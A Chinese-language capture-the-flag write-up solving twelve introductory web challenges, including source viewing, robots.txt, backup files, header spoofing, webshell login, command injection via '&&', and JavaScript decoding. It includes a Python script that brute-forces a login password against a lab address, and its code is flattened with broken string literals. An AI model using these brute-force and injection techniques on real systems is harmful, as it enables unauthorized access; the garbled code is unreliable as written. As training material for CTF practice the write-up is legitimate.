1. view_source
按F12进入开发者选项，查看源码，得到flag：
2. robots
在地址栏添加robots.txt：
得到flag：
关于robots.txt：
- robots.txt必须被放置在站点的根目录下。
- robots.txt用于声明该网站哪些部分可以被爬虫(Spider)访问，而哪些不想。
- 当一个爬虫访问一个站点时，它首先会检查该站点是否存在robots.txt，如果存在，爬虫会参照文件所示范围来访问网页；如果不存在，机器人将沿着链接爬取。
参考博客：https://www.cnblogs.com/yuzhongwusan/archive/2008/12/06/1348969.html
3. backup
打开的网页上显示：
根据提示在地址栏添加：index.php.bak，出现下载提示：
打开现在的文档，得到flag：
4. cookie
F12打开开发者选项，网络->查看cookie：
在地址栏添加cookie.php：
查看响应：
发现flag：
5. disabled_button
按钮不能按：
F12进入开发者工具，删掉html代码中圈出的部分：
点击按钮，得到flag：
6. weak_auth
随意输入账号密码，得到提示：
得到了用户名，对密码进行爆破，这里有两种方式：
- 使用Burpsuite抓包然后利用intruder功能进行爆破。
- 自己动手编写代码进行爆破
我选择编写Python脚本来练手：
import requests
url = 'http://220.249.52.133:45116/check.php'
data = {'username':'admin',
'password':''}
f = open('../dictionary/弱口令.txt') # 打开准备好的弱口令文件
for pwd in f.readlines():
print("Try " + pwd)
pwd = pwd.strip('
') # 每次取一行数据并去掉末尾的'
'
data['password'] = pwd
r = requests.post(url, data)
res = r.text
start_loc = res.find('<body>') + 6 # 定位body中的信息
end_loc = res.find('</body>')
ret_str = res[start_loc:end_loc]
if ret_str != "
<script>alert('password error');</script><!--maybe you need a dictionary-->
":
print("Password is " + pwd) # 返回的信息与报错信息不一致则代表爆破成功
break
得到flag：
7. simple_php
进入网站，得到提示：
考察PHP弱比较知识点，输入：
得到flag：
详解博客：https://www.cnblogs.com/qing123tian/p/10778615.html
8. get_post
-
使用get提交变量a=1
-
使用hackbar提交post请求：
9. xff_referer
提示：
使用xff插件修改ip：
得到提示：
使用hackbar修改referr：
得到flag：
10. webshell
给出提示：
使用中国蚁剑，登录webshell：
在flag.txt中得到flag：
11. command_execution
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。
随意输入一个IP地址，可以得到返回：
使用&&拼接命令：
查看flag.txt文件：
12. simple_js
使用burpsuite抓包，查看其中的js代码：
HTTP/1.1 200 OK
Date: Fri, 27 Nov 2020 00:55:58 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 1225
Connection: close
Content-Type: text/html
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = 1;
n = tab2.length;
for(i = (o=0; i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>
</head>
</html>
经分析，这段代码中并没有跳转页面，那么flag应就在代码之中，编写脚本将其中的两个ascci字符解码：
def dec2str(decList):
result = ''
for item in decList:
result += chr(item)
return result
if __name__ == "__main__":
decList = [70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65]
strL = "x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"
strL = strL.split(',')
decList1 = []
for item in strL:
decList1.append(int(item))
print(dec2str(decList))
print(dec2str(decList1))
得到flag：
